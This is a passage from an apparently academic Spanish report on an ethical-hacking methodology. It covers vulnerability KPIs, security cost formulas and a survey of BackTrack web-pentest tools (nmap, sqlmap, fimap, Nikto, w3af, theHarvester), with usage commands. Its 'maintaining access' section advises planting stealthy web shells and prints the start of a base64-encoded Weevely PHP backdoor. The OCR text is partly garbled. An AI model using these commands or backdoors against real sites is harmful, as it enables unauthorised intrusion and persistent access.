e Se aplicara indicadores y métricas para evaluar el desempeno de los
recursos del proyecto y del proyecto en si

En esta fase se utiliza 1 formato: Formato de cheklist (Ver Anexo 11)

V.- Fase de termino

La fase de termino comprende 2 etapas.
Informe Técnico y Ejecutivo del Test de Intrusion y Analisis de Vulnerabilidad
Externo y de las Aplicaciones.

El Informe Técnico y Ejecutivo del Test de Intrusién

e Resumen técnico y ejecutivo de los resultados obtenidos, conclusiones y
sugerencias.

El Andlisis de Vulnerabilidad Externo y de las Aplicaciones

¢ Vulnerabilidades atacadas y detectadas.

e Técnicas utilizadas.

e Evidencias concretas de los hallazgos.

e Recomendaciones técnicas para superar las vulnerabilidades
encontradas.

En esta fase se utiliza 1 formato: Acta de cierre. (Ver Anexo 12)

Indicadores:

Indicadores de vulnerabilidades para aplicativos Web. La gestién de métricas e
indicadores de vulnerabilidades ofrecen valores técnicos que permiten medir el
grado de exposicidbn a las mismas, asi como la capacidad de resiliencia de las
organizaciones ante distintos ataques/amenazas o incidentes reales que puedan
sufrir, su nivel de preparacién y su capacidad para mantener la continuidad de su
negocio y recuperarse de posibles impactos. mi

Algunas de estas métricas e indicadores son:

. Numero de incidentes ocurridos debido a vulnerabilidades en los sistemas.
. Numero de vulnerabilidades de nivel alto, medio, o bajo en sistemas criticos.
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. Porcentaje de sistemas con vulnerabilidades conocidas.
. Tiempo medio para corregir las vulnerabilidades.
. Coste medio para corregir las vulnerabilidades.

Un adecuado cuadro de mando de indicadores alimentados en los procesos de
auditoria técnica mediante la ejecucion de herramientas autométicas, es de gran
ayuda para la deteccién de vulnerabilidades y de los valores de las mismas. El
cuadro de mando permite a las organizaciones tener bajo control su grado de
exposicion a los riesgos de las vulnerabilidades de sus sistemas.

En base al conocimiento de estos indicadores se puede aplicar el denominado
ARTE (Asumir el riesgo, o tomar medidas para Reducirlo, o Transferirlo a un tercero
o Eliminarlo), para gestionar los riesgos de las vulnerabilidades existentes en los
sistemas de informacion de la organizacion.

Grafico N° 11. Indicadores de vulnerabilidades
§
N2 Incidentes por 100
vulnerabilidades

50
3@
0 100

% Sistemas
vulnerables

50

£

0" Nevulnerabilid, 10
criticas

50

| i ‘
0 Coste gestion 100
Vulnerabilidades

\ AVTUASYA 4

Fuente: Elaboracién propia.

INDICADORES DE VULNERABILIDADES

Auditorias técnicas de wulnerabilidades. Los procesos de auditorias
técnicas realizadas de manera continua, y apoyadas en herramientas para descubrir
vulnerabilidades y brechas de seguridad, pueden ayudar a las organizaciones a
mantener controladas y reducir las amenazas y riegos de sufrir incidentes de
seguridad debido a la posible explotacién de las vulnerabilidades en sus sistemas

de informacion.
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Indicadores clave de desempefio para procesos de sequridad de la
informacion. La mayoria de las métricas que se utilizan en seguridad
desafortunadamente no cumplen con esta definicion. Tipicamente se utiliza
indicadores de efectividad técnica u operativa que no se puede relacionar
directamente con el cumplimiento de objetivos del negocio. Ademas, la mayoria de
estos indicadores son especificos para cada control (no describen un proceso, que

es otro requerimiento para considerar como clave a un indicador).

Algunos ejemplos de indicadores que se utiliza tipicamente en seguridad:

o Numero de ataques prevenidos/detectados (FW, IPS, etc.).

o Numero de programas maliciosos detectados (antivirus, antispyware, etc.).

o Numero de incidentes de seguridad reportados y atendidos (equipos de
respuesta ante incidentes).

o Numero de actualizaciones de seguridad.

o Tiempo de respuesta para atender incidentes.

o tiempo promedio de distribucion de parches de seguridad.

o Como referencia, en KPI library se pueden encontrar cientos de indicadores

adicionales de diversos tipos.

Aqui se presentan 2 preguntas:

. ¢, Cudles de estos indicadores técnicos realmente sirven?

. ¢, Coémo se puede generar indicadores de seguridad de la informacién, que
sean realmente claves para el negocio, a partir de ciertos indicadores

técnicos?
Indicadores técnicos. Se debe distinguir entre indicadores técnicos que son
utiles y aquellos que son meramente informativos y no aportan datos concretos

sobre la efectividad de un control.

Los indicadores que son Utiles miden cosas que estan bajo control y no

dependen del entorno.

Ejemplos de malos indicadores técnicos:


http://kpilibrary.com/search?s=information+security
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Controles:
. Numero de virus detectados.
. Numero de cambios en configuracion.
. Numero de parches aplicados en el mes.
. Numero de intentos de ataque detectados.
. Numero de cintas de respaldo generadas en un mes.

Procedimientos:
. Numero de solicitudes atendidas.
. Horas invertidas en solucion de problemas.

Ejemplos de buenos indicadores:

Controles: Porcentaje de virus detectados y eliminados oportunamente
. Porcentaje de ataques prevenidos.
. Porcentaje de parches criticos aplicados en el mismo mes de su

liberaciéon Procedimientos.

. Tiempo promedio de restauracién de un sistema.
. Tiempo de respuesta promedio para solucidén de un incidente.
. Costo promedio de solucién por incidente (horas hombre +

recursos materiales).

De los ejemplos anteriores, es claro que los buenos indicadores son el
resultado de una ponderacién entre acciones ejecutadas correctamente y acciones
incorrectas (siendo las acciones incorrectas la suma de falsos positivos y falsos
negativos). También son buenos indicadores las métricas de niveles de servicio
(tiempo) y costo, relacionadas Uunicamente con variables locales.

o Manejo de indicadores técnicos. Es claro que generar cientos de indicadores
a nivel técnico no es sin6bnimo de un mejor control 0 de mayor precision. Se
tiene que utilizar la cantidad minima necesaria de indicadores técnicos para
armar los indicadores clave de desempeno que requiere el negocio, pero
ademas se tiene otros problemas:


http://es.wikipedia.org/wiki/Errores_de_tipo_I_y_de_tipo_II
http://es.wikipedia.org/wiki/Errores_de_tipo_I_y_de_tipo_II
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o La medicidon de eventos prevenidos - medir eventos reales (incidentes) con
un impacto al negocio es relativamente facil. Basta con revisar la lista de
reportes de la mesa de servicio, pero existen una gran cantidad de controles
que no documentan eventos prevenidos con éxito (ej. ¢cuantos incidentes
previno el candado de una laptop? ¢Cuantos incidentes previno la
desactivacion de servicios no indispensables en un servidor?

o El empalme de controles - Cuando hay controles que trabajan en conjunto
(en diferentes capas usualmente) es dificil medir la eficacia de cada uno de
ellos. Por ejemplo, el hecho de que un firewall por su configuracién haya
evitado que cierto trafico de propagacién de un virus nuevo pasara hacia la red
interna, no asegura que un antivirus o un IPS detras de este firewall hubieran
podido actuar eficazmente sobre este evento.

Si no se puede medir con toda certeza, falsos positivos y negativos, no se
puede determinar un indicador de efectividad a nivel de un control particular.

Por otro lado, si no se puede saber con certeza la reaccién de un control ante
un evento que en teoria deberia prevenir pero que detuvo otro control, tampoco

tenemos métricas de falsos positivos y negativos confiables.

Pareceria que es imposible poder medir la eficacia de todo tipo de controles y
procedimientos que tenemos, sin embargo ¢realmente necesitamos llegar a este
nivel de detalle para generar indicadores clave de desempeno?

La respuesta es no. Sin embargo, es importante aclarar que los indicadores
técnicos y operativos no son inutiles y se debe generar todos aquellos que se
puedan, para cada control y procedimiento. La diferencia es que no se va a usar
para generar los indicadores clave, sino como herramienta de diagndstico para
determinar qué controles y procedimientos se debe reemplazar cuando los
indicadores clave de desemperfio indique qué se debe mejorar

Indicadores clave y técnicos que se requiere. Sélo se necesita 2 tipos de
indicadores (uno técnico y otro de negocio) para generar los indicadores clave.

5.2 Costos de Implementacion de la Propuesta
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Costo estimado de la solucion por dia = (Costo de la solucion de

seguridad anualizado + costo de incidentes reales en el aifo) / 365

Costo anualizado incluye:

. Costo de controles y su mantenimiento.

. Sueldos de personal a cargo.

. Costo de servicios tercerizados.

. Costo de incidentes reales en el aiio incluye eventos de pérdida documentados
con costos asociados al negocio

Costo promedio por incidente (sin considerar controles)

. Es el costo de un evento antes de considerar controles (los controles afectan
probabilidad de ocurrencia o impacto en este costo), es decir, el costo puro
como lo percibe el negocio

. Se recomienda separar por tipo de evento:

. Integridad

. Confidencialidad

. Disponibilidad

. Autenticidad

. Si no se tienen datos histéricos suficientes para determinar este dato, se
pueden usar promedios de la industria, aunque evidentemente puede haber
variaciones significativas con respecto al negocio (ej. el estudio de costos por
fuga de informacion del Instituto ABC).

. Dado que no se puede asegurar el contar con indicadores de eficacia para
todos los controles, se va a estimar el costo de proteccién por evento y
compararlo contra el costo promedio de cada evento.

En este caso, es razonable asumir que se puede generar un evento potencial
en un dia cualquiera del afio (no sabemos cuantos en el afio pero asumimos que al
menos se generara uno por ano) y que el costo de proteccion de un dia es cercano
al costo de proteccion de un evento, considerando que para la mayoria de los
casos, las empresas agrupan eventos de un mismo tipo en un incidente por dia; es
decir, si por ejemplo no se tuviera un antivirus instalado y se sufriera en
consecuencia la caida de varios equipos por infecciones, la mayoria de las
empresas tratarian la situacion como un unico incidente en el mismo dia (con varios


http://www.ponemon.org/local/upload/fckjail/generalcontent/18/file/2008-2009%20US%20Cost%20of%20Data%20Breach%20Report%20Final.pdf
http://www.ponemon.org/local/upload/fckjail/generalcontent/18/file/2008-2009%20US%20Cost%20of%20Data%20Breach%20Report%20Final.pdf
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elementos afectados), en vez de distinguir entre los eventos generados por cada
tipo de malware que participd.

Dado lo anterior, también es razonable asumir que el costo promedio de
proteccion por un dia deberia ser menor al costo promedio de un tipo de incidente
determinado. Como seguramente ya habran adivinado, este balance constituye
nuestra propuesta de indicador clave de desempeno:

KPI para una soluciéon de seguridad = costo estimado de la solucion por dia - costo
promedio de incidente

Para ser costo-efectiva, la solucion debera producir un resultado negativo en el
KPI. Un par de ejemplos:

Las estadisticas indica que en el 2009, el costo promedio en los EUA por cada
registro de informacién confidencial perdido era de USD 202.00. Si el negocio
estima que en promedio los incidentes de confidencialidad incluyen 100 registros, el
costo promedio por incidente seria de alrededor de USD 20,200.00. Para ser costo-
efectiva, los componentes de la soluciobn de seguridad en el rubro de
confidencialidad (cifrado, prevencién de fuga de informacién, control de dispositivos,
control de documentos, control de acceso a informacion, computo forense, etc.)
deberia costar, por dia, menos de USD 20,200.00, o dicho de otra manera el costo
anual de la solucion deberia ser menor a USD 7,373,000 (USD 20,200 * 365 dias).

El resultado del KPI refleja el ahorro para la empresa en costos por perdidas.

Otro ejemplo. En el 2002 Trend Micro reportd en un paper que el costo
promedio de detectar y limpiar una infeccion por codigo malicioso era de
alrededor de USD 100.00. Para una computadora en casa este costo suena
razonable en términos de pagar una reinstalacién y tiempo invertido en restaurar
respaldos (en una empresa quizas las horas productivas perdidas tengan un
impacto mayor). Si en casa se paga una subscripcién anual de antivirus en USD
50.00 para una computadora y a pesar de este antivirus (no son perfectos) todavia
se tuvo 3 incidentes (que costaron en promedio USD 100.00, tal como lo predecia el
estimado de Trend Micro), el KPI de en casa seria:


http://www.biz.netvigator.com/chi/pdf/real_cost_of_virus_outbreak.pdf
http://www.biz.netvigator.com/chi/pdf/real_cost_of_virus_outbreak.pdf
http://www.biz.netvigator.com/chi/pdf/real_cost_of_virus_outbreak.pdf

91

KPI = (50 USD +300 USD )/365 - 100 USD = -99.04 USD

Es decir, los USD 50.00 que se paga por la solucién, aun a pesar de los 3

eventos en el afno que no pudo detener y costaron dinero, estd mas que justificada

(el costo promedio por dia de la solucion, incluyendo aun la fraccion correspondiente

del costo de 3 eventos al afio representan apenas el 1% del costo de un incidente).

Adicionalmente, si siguen una metodologia de analisis de riesgos del negocio

orientada a procesos como el marco de referencia 4A o el método propuesto que

se menciona aqui, entonces los indicadores se integraran facilmente al proceso de

andlisis de riesgos.

Conclusiones:

5.3

No todos los indicadores técnicos y operativos de seguridad sirven para medir
la efectividad de los controles que se tiene. Mas aun, es imposible medir falsos
positivos y negativos para todo tipo de controles (y en consecuencia es
imposible medir la efectividad en todos los casos).

Sin embargo, con estimados de costos de proteccidbn por dia y costos
promedio por incidente se puede generar indicadores clave del negocio que
son faciles de entender y aceptar por la alta direccién. Esto permite justificar
plenamente el beneficio de los controles para la empresa, asi como la
inversién realizada.

Mas aun, se puede estimar el margen de maniobra para agregar controles
adicionales (algunos seguramente mas complejos y costosos) y demostrar el
beneficio potencial de los mismos a través del componente de "costo de
incidentes reales", ya que los controles adicionales deberan reducir ain mas la
probabilidad de ocurrencia de estos eventos, o bien su impacto

Beneficios que Aporta la Propuesta

1. La propuesta, en el marco de las nuevas tendencias se enmcarca en la linea
de Metodologia Agile es decir simplificar pasos y documentos trayendo como
beneficio, reducir los tiempos de aplicar Hacking Etico.
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2. Al utilizar herramientas “open source”predefinidas y probadas como el “Sqli
Dumper” permite rapidez y efectividad respecto a llevar a cabo manualmente a

través de cddigos de programas en
la aplicacién de Hacking Etico.

3. La metodologia propuesta a través de sus fases, documentos y
herramientas permite garantizar cumplir con los objetivos de un proyecto de
implementar exitosamente el Hacking Etico en el tiempo programado.

4. Esta metodologia se puede aplicar a una empresa que ya tiene problemas
con los crakers 0 como medida preventiva. Por su simplicidad y efectividad de
esta propuesta permite que el costo del proyecto sea econdmico y se pueda

aplicar a pymes

Herramientas de Testeo:

Herramientas de testeo de penetracion. Actualmente se tiene conocimiento

que en estos tiempos el Andlisis de Aplicaciones Web juega un papel muy
importante al hacer una Evaluacién de la Seguridad y/o Penetration Testing, ya que

esta brinda la informacion adecuada acerca de la aplicacion web, como por ejemplo
el tipo de Plugin que utiliza, tipos de CMS ya sea Joomla - WordPress u otros.

Esto ayudara mucho a determinar qué Exploit se debe usar, o ver la manera

exacta de explotar las vulnerabilidades que se pueden presentar al momento de

realizar las pruebas de penetracion.

Para ello recomendamos el uso de estos métodos:

Métodos de Analisis de Aplicaciones Web:

SQLI Dumper

Network Mapping

CMS Identification

IDS/IPS Detection

Open Source Analysis

Web Crawlers

Vulnerability Assessment and Exploitation
Maintaining Access

SQLI Dumper
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Es una herramienta que aplica la Inyeccién SQL, método de infiltracién de
codigo intruso que se vale de una vulnerabilidad informatica presente en una
aplicacion en el nivel de validacion de las entradas para realizar operaciones sobre
una base de datos, especialmente cuando existe un acceso a la base de datos por

la WebSite de tipo dinamico.

Se conoce como Inyeccion SQL, indistintamente, al tipo de vulnerabilidad, al
método de infiltracidén, al hecho de incrustar codigo SQL intruso y a la porciéon de
codigo incrustado.

La intrusién ocurre durante la ejecucidon del programa vulnerable, ya sea, en
computadores de escritorio o0 bien en sitios Web, en este Ultimo caso obviamente
ejecutandose en el servidor que los aloja.

La vulnerabilidad se puede producir automaticamente cuando un programa
"arma descuidadamente" una sentencia SQL en tiempo de ejecucién, o bien durante
la fase de desarrollo, cuando el programador explicita la sentencia SQL a ejecutar

en forma desprotegida

Al ejecutarse la consulta en la base de datos, el codigo SQL inyectado también
se ejecutara y podria hacer un sinnumero de cosas, como insertar registros,
modificar o eliminar datos, autorizar accesos e, incluso, ejecutar otro tipo de codigo

malicioso en el computador.

Grafico N° 12. SQLI Dumper
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Network Mapping. Network Mapping es el estudio de la conectividad fisica de
redes. Internet Mapping es el estudio de la conectividad fisica de la Internet.
Network Mapping a menudo se trata de determinar los servidores y sistemas
operativos se ejecutan en redes.

La ley y la ética de escaneo de puertos son complejas. Un analisis de la red
puede ser detectada por los seres humanos o sistemas automatizados, y se trata
como un acto malicioso.

En la suite de BackTrack se incluye NMAP, una herramienta que ya todos
conocemos por su potencia y eficacia a la hora de utilizarla, la cual nos sirve de
mucho para poder llevar a cabo este método tan importante en una Auditoria Web.

Nmap. Nmap (“mapeador de redes”) es una herramienta de cddigo abierto
para exploracion de red y auditoria de seguridad. Se diseié para analizar
rapidamente grandes redes, aunque funciona muy bien contra equipos individuales.
Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en formas originales para
determinar qué equipos se encuentran disponibles en una red, qué servicios
(nombre y versién de la aplicacién) ofrecen, qué sistemas operativos (y sus
versiones) ejecutan, qué tipo de filtros de paquetes o cortafuegos se estan utilizando
asi como docenas de otras caracteristicas.

Esta herramienta es muy usada por los Pentesters cuando realizan Pruebas
de Penetracion.
Uso:
. nmap www.site.com

Grafico N° 13. Nmap

* root@CalebB er: ~
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Fuente: nmap www.site.com.

CMS IDENTIFICATION:
. Blindelephant

. CMS-explorer

. Whatweb

BlindElephant: BlindElephant es una herramienta basada en python que se
utiliza para realizar Fingerprinting en Aplicaciones Web.

La herramienta es rapida, tiene poco ancho de banda y esta altamente
automatizado.
Uso:
. /pentest/web/blindelephant/src/blindelephant#./BlindElephant.py http://site.com/

cms

Grafico N° 14. BlindElephant
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Fuente:/pentest/web/blindelephant/src/blindelephant#./BlindElephant.py http:/site.com/ cms

CMS-Explorer: Es otra herramienta basada en Perl que sirve para realizar
Fingerprinting en Aplicaciones Web, como también puede ser usado para identificar
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el tipo de CMS utilizado, por tanto, se realiza el ataque de acuerdo con

la informacién obtenida.

Uso:
. /pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http:/site.com/ -
type cms

Grafico N° 15. CMS-Explorer
A v X root@CalebBucker: /pentest/enumeration/web/cms-explorer
File Edit View Terminal Help
:/pentest/enuneration/web/cms-explorer# ./cms-explorer.pl -url htty vadef.net/ -type Joomla

Theme Installed:
Testing plugins...
Plugin Installed: componentsxiom banners/
Plugin Installed: mponents/com contact/
Plugin Installed: 5/com content/
Plugin Installed: mponents/con ilto/
Plugin Installed: /
Plugin Installed: |

Lugin Imchd: componer ltf com S

1 Installed: components/com

01101 TWJTalled: fo"mowelt‘ com webli wk;

PLL 10‘ | I\“[aUed:
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Fuente:/pentest/enumeration/web/cms-explorer#./cms-explorer.pl-urlhttp:/site.com/-typecms
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WhatWeb: Es otra herramienta que se utiliza para identificar el tipo de
sistemas de gestion contenidos (CMS), plataforma de blogs, estadisticas, bibliotecas
javascript y servidores utilizados. Cuenta con 900 Plugins para fines de analisis web.

Uso:

. /pentest/enumeration/web/whatweb# ./whatweb -v www.site-com

Grafico N° 16. WhatWeb
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Fuente: /pentest/enumeration/web/whatweb# ./whatweb -v www.site-com

IDS-IPS DETECTION: Durante la realizacién de un VA/PT en un dominio,
existe la posibilidad de que IDS-IPS estén instalados, esto a veces puede parar
varios tipos de ataques realizados en el dominio.

Una gran cantidad de WAF se venden a las Empresas como una técnica valida

para la mitigacidén de vulnerabilidades en las Aplicaciones Web.
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Por suerte, WAF es facil de detectar, porque la mayoria de estos utilizan la
firma basada en métodos de deteccion, por lo tanto, el atacante puede tratar de
codificar los parametros de ataque y tratar de bypassear el WAF.

En la suite de BackTrack se incluyen dos herramientas Gtiles para
la deteccion de los IDS-IPS, las cuales son:

. W affit
. UA-Tester

Waffit: Es una herramienta que detecta los posibles Firewall que pueda tener
un servidor web, esto sirve de mucho ya que detectar el servidor de
seguridad detras del dominio es un paso muy importante en el proceso de Pruebas
de Penetracion.

Uso:
. /pentest/web/waffit# ./wafw0O0f.py http://site.com/

Grafico N° 17. Waffit

~ ~ * root@cCalebBucker: /pentest/web/waffit
File Edit View Terminal Help

:/pentest/web/waffit# . /wafweoef.py http://www.impe

lication Fir 11 Detection Tool

el G. Henrique

Fuente: /pentest/web/waffit# ./wafw00f.py http://site.com/

UA-Tester: Esta herramienta estd disefada para  comprobar
automaticamente si una URL especifica estd usando una lista Standar o No-Standar
User-Agent proporcionada por el usuario (1 por linea).

Uso:
. /pentest/enumeration/web/ua-tester# ./UAtester.py -u www.site.com

Grafico N° 18. UA-Tester

~ ~ »* root@cCalebBucker: /pentest/enumeration/web/ua-tester
File Edit View Terminal Help

:/pentest/enumeration/web/ua-tester# ./UAtester.py -u www.impe
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Fuente: /pentest/enumeration/web/ua-tester# ./UAtester.py -u www.site.com

OPEN SOURCE ANALYSIS: Open-Source Analysis se realiza utilizando
herramientas como GHDB, revhosts, xssed y Maltego. El GHDB (Google Hack Data
Base) y Xssed estan vinculadas a sitios webs, mientras que las dos otras son

herramientas de consola.

GHDB: Google Hacking Database, el equipo de exploit-db mantiene una base
de datos para google dorks que pueden ayudar mucho a los Pen-testers en
la recopilacién de informacién. Podemos usar las dork's para encontrar ciertos tipos

de servidores vulnerables u otra informacion.

Por ejemplo, un dork Google como "Microsoft-11S/6.0" intitle:index.of " se

puede utilizar para detectar el servidor que ejecuta Microsoft 1IS 6.0.

Grafico N° 19. GHDB
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Fuente: Google hacking-database

Xssed: Xssed.com es otro sitio web que contiene una lista de sitios web
vulnerables a Cross Site Scripting, presentada por varios autores.

Se puede abrir desde: Applications - Backtrack - Information Gathering -
Web Application Analysis - Open Source Analysis - Xssed.

Revhosts: Revhosts es un proyecto pasivo escrito en Python que se utiliza
para la recopilaciéon de informacién (es decir, el Host, VirtualHost, entrada de DNS,
directorios, direccion de correo, subred, etc.) Esta herramienta se encuentra tanto
en la interfaz grafica de usuario y la consola.

Se ubica en: Applications - BackTrack - Information Gathering - Web
Application Analysis - Open Source Analysis - Revhosts.

Grafico N° 20. Revhosts
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Fuente: Applications - BackTrack - Information Gathering - Web Application Analysis - Open Source
Analysis - Revhosts

WEB CRAWLERS: En esta ultima categoria de Analisis Web, se utilizan los
famosos Crawlers, esto ayudara mucho a enumerar los archivos "escondidos"
dentro de un servidor web.

La suite de BackTrack cuenta con muchas herramientas para llevar a cabo
este tipo de analisis como son el Dirb, Golismero, SqlScan, Deblaze y WebShag.

WebShag tiene opciones como escaneo de puertos, recopilacion de
informacion basica, spider y fuzzing, se puede encontrar en: Applications -
BackTrack - Information Gathering - Web Application Analysis - Web Crawlers
- WebShag Gui.

Grafico N° 21. Webshag 1.10
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Status
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Fuente: Applications - BackTrack - Information Gathering - Web Application Analysis - Web Crawlers
- WebShag Gui.
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VULNERABILITY ASSESSMENT AND EXPLOITATION: La etapa de
evaluacion de la vulnerabilidad es donde se puede explorar nuestro objetivo en
busca de errores, pero antes de hacer una evaluacion de la vulnerabilidad, la

recopilacion de informacion sobre el objetivo es mucho mas util.

La fase de recopilacion de informacion sigue siendo el paso clave antes de
realizar nuevos ataques, simplemente porque hace el trabajo mas facil, por ejemplo,
en la primera etapa: en el uso de escaners para identificar el CMS como

BlindElephant, se escaneo y se encontrd la version de la aplicacion instalada.

Ahora, en la etapa de evaluacion de la vulnerabilidad, se pueden utilizar
muchas herramientas (escaners) que ayudaran mucho a encontrar respectivas
vulnerabilidades en un servidor web especifico, como por ejemplo:

Joomscan: Es una herramienta basada en Perl que se utiliza para identificar
las vulnerabilidades mas conocidas como Sql Injection, XSS u otras, en los
servidores web basados en la plataforma Joomla.

Uso:

. /pentest/web/joomscan# ./joomscan.pl -u www.site.com

Grafico N° 22. Joomscan
A v X root@CalebBucker: /pentest/web/joomscan
File Edit View Terminal Help

## Fingerprinting in progress ...
~Unable to detect the version. Is it sure a Joomla?

## Fingerprinting done.

## 1 Components Found in front page ##

com content

Fuente: /pentest/web/joomscan# ./joomscan.pl -u www.site.com
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SqglMap: Sqglmap es una herramienta de cédigo abierto que ayuda a
automatizar el proceso de detectar y explotar las vulnerabilidades de inyeccién SQL
permitiendo tener acceso total a la base de datos de los servidores web.

Uso:

. /pentest/database/sglmap# ./sqlmap.py -u http://www.site.com/ --dbs

Grafico N° 23. SqlMap
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Fuente: /p ntest/database/sqlma# /sqlmap.py -u http:/ww.site.com/ --dbs

Fimap: Fimap es una pequefna herramienta programada en python que puede
encontrar, preparar, auditar & explotar automaticamente los errores de Remote File
Inclusion en aplicaciones web. Fimap debe ser algo como sqlmap pero sélo para
LFI/RFI en lugar de la inyeccién de SQL. Esta actualmente bajo desarrollo, pero es
utilizable. El objetivo de Fimap es mejorar la calidad y la seguridad de su sitio web.
Uso:

. /pentest/web/fimap#./fimap.py-
http://localhost/test.php?file=bang&id=23/pentest/web/fimap# ./fimap.py -g -q
'noticias.php?id='

Grafico N° 24. Fimap
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Fuente:/pentest/web/fimap#./fimap.py-
http://localhost/test.php?file=bang&id=23/pentest/web/fimap#./fimap.py-g-g'noticias.php?id='

TheHarvester: TheHarvester es una herramienta para recopilar cuentas de
correo electronico, nombres de usuario y nombres de host o subdominios de
diferentes fuentes publicas como motores de busqueda y los servidores de claves
PGP.

Uso:

. Jtheharvester.py -d microsoft.com -l 500 -b google
. /theharvester.py -d microsoft.com -b pgp

. /theharvester.py -d microsoft -I 200 -b linkedin

Grafico N° 25. TheHarvester

:/pentest/enumeration/theharvester# ./theHarvester.py -d nasa.gov -1 500 -b googte

Fuente: ./theharvester.py -d microsoft.com -1 500 -b google

Shodan: Esto es otra herramienta de evaluacion web, una utilidad particular
para los pentesters. Puede ser utilizado para recoger wuna serie
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de informacién inteligente sobre los dispositivos que estan conectados a la Internet.
Podemos, por ejemplo, buscar para ver si todos los dispositivos de red, como
routers, VolP, impresoras, camaras, etc estan en su lugar. Para buscar si algun
servicio se esta ejecutando en el dominio, la sintaxis seria:

. hostname:target.com port:80,21,22

Si deseamos simplemente conocer los resultados sobre el nombre de host,
simplemente, la sintaxis seria:

e  hostname:target.com

Grafico N° 26. Shodan
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Wa3af: W3af es una herramienta de Auditoria de Seguridad para Aplicaciones
Webs, se encuentra basicamente dividido en varios modulos como el Ataque,
Auditoria, Exploit, Descubrimiento, Evasion y Brute Force, lo cual se pueden usar
todos en consecuencia.

Estos médulos en W3af vienen con varios modulos secundarios como, por
ejemplo, podemos seleccionar la opciéon XSS en el médulo de Auditoria suponiendo
que es necesaria para realizar una determinada Auditoria.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web
Application Assessment - Web Vulnerability Scanners - w3af
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Grafico N° 27. Hostname
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Fuente: Applications - BackTrack - Vulnerability Assessment - Web Application Assessment -
Web Vulnerability Scanners - w3af

Una vez completado el andlisis, w3af muestra informacién detallada acerca de
las vulnerabilidades encontradas en el sitio web especificado, que se puede
comprometer en consecuencia de una explotacién adicional.

Grafico N° 28. W3af

Configuracion del andlisis Log| Exploit

KB Browser ‘ URLs Request/Response navigator

Vuln # Info [ Misc The URL: “"eupem i reguimPer has a path disclosure vulnerability which
—— . [discloses: "/etc/httpdiconf.d/welcome.conf®. This vulnerability was found in the
!(_mwl request with id 84.

[+|  metaTags
[+|  strangeParameters
[+|  findComments

[+|  serverHeader Request | Response
@ pathDisclosure '

5 TRACK dmuspmmpmmmmssgebepy’ HTTP/1.1
+|  strangeHTTPCode Host: e———— :
(=] userDir -l Accept-Encoding: gzip

(=] users Accept: */*

User-Agent: w3af.sourceforge.net
@ User directory: http:/) g g

[+|  httpAuthDetect

[+|  findvhost
[+]  afd
[+]  dnswildcard

[+|  collectCookies
[+]  ajax |

i

@18 A42 20 4



http://i49.tinypic.com/4jnn2o.png
http://i48.tinypic.com/2ibjfk1.png
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Fuente: w3af

Una vez que la vulnerabilidad es encontrada, podemos configurar los plugins
en el médulo "Exploit" y realizar nuevos ataques, que nos pueden ayudar a obtener
una WebShell en el sitio objetivo. Otra ventaja importante de w3af es que también
viene con MSF para tomar el ataque al siguiente nivel.

Uniscan: Uniscan es un escaner de vulnerabilidades Web, dirigido a la
seguridad informatica, cuyo objetivo es la busqueda de vulnerabilidades en los
sistemas web. Est4 licenciado bajo GNU GENERAL PUBLIC LICENSE 3.0 (GPL 3).

Uniscan esta desarrollado en Perl, tiene un facil manejo de expresiones
regulares y también es multi-threaded.

Se puede descargar desde el siguiente link: Download Uniscan Web

Vulnerability Scanner v6.2

Uso:

. Juniscan.pl -u http://www.site.com/ -qweds

Grafico N° 29. Uniscan

:~/Desktop/uniscan6.2# ./uniscan.pl -u http:/A sy -qweds
#ﬁﬁ#############################‘###

I #
# http:, 1scan.sourceforge.net/ #
HRARR AR R AR R AR R AR AR AR R AR R AR R AR RARR AR
V. 6.2

Scan date: 19-10-2012 16:34:14

/ [y 2 dmin/
SR /D10 l0gia/
AR / deportes/
W / cducacion/

: http:”
: http 4 /— ’T lqntL x/
://muvm,
/[ S S /



http://calebbucker.blogspot.com/2012/07/uniscan-web-vulnerability-scanner-v60.html
http://uniscan.sourceforge.net/?page_id=7
http://uniscan.sourceforge.net/?page_id=7
http://i47.tinypic.com/10nu9s2.png
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Fuente: ./uniscan.pl -u http://www.site.com/ -qweds

Nikto: Nikto es un escaner de servidor web que realiza pruebas completas
contra los servidores web para varios articulos, incluyendo mas de 6500
archivos/CGls potencialmente peligrosos, los controles de versiones no actualizadas
de mas de 1250 servidores, y los problemas especificos de la versidbn de mas de
270 servidores. También comprueba los elementos de configuracién del servidor,
tales como la presencia de mudltiples archivos de indice y opciones de servidor
HTTP.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web
Application Assessment - Web Vulnerability Scanners - Nikto
Uso:
. /pentest/web/nikto# ./nikto.pl -host ww.site.com

Grafico N° 30. Nikto

~ v X root@CalebBucker: /pentest/web/nikto
File Edit View Terminal Help

:/pentest/web/nikto# ./nikto.pl -host eEEEEEs——"
- Nikto v2.1.5

IP: R D
et Hostname: Loomrenas samemra]
t Port: 80
2012-10-19 16:22:51 (GMT-5)

ry indexing

g ed 'get istead of 'GET
stings wi the INDEX tag. Disable INDEX or
r directory listing, upgrade to v6.0 SP1l or

h Web Publis

ting... possibly a'system shell foumd.
and a Test script which runs phpinfo()iwas found.
found.



http://cirt.net/nikto2
http://i46.tinypic.com/2gsqz3n.png
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Fuente: /pentest/web/nikto# ./nikto.pl -host ww.site.com

MAINTAINING ACCESS: Una vez que tengamos acceso a la pagina web
(objetivo), tenemos que mantener el acceso para su uso futuro, porque no queremos
estar empezando desde cero una y otra vez. Con el fin de evitar esto, podemos
cargar las shell's web o puertas traseras a la pagina web.

La codificacién de la puerta trasera también es importante, ya que no debe
crear "ruido" una vez cargado en el servidor. Si es asi, entonces los administradores
pueden facilmente detectar y eliminar las puertas traseras.

En la suite de BackTrack 5r3 se incorporan buenas herramientas para llevar a

cabo este proceso, las cuales son los siguientes:

Weevely: Weevely es una herramienta esencial para la explotacién posterior
de aplicaciones web, y se puede utilizar como puerta trasera o como una shell web
para gestionar las cuentas web. Weevely busca funciones como system(),
passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(),
python_eval()) utilizando las funciones activadas en una servidor remoto. El codigo
siguiente es un ejemplo del codigo de la puerta trasera creada por Weevely.
eval(base64 decode('cGFyc2VicBRyKCRfUOVSVkVSWydIVFRQX1JFRKVSRVInXS
wk
YSk7IGIMKHJIc2VOKCRhKT09J2ludJyAmJiBjb3VudCgkYSk9PTkplHsgZWNobyAnP
GZv
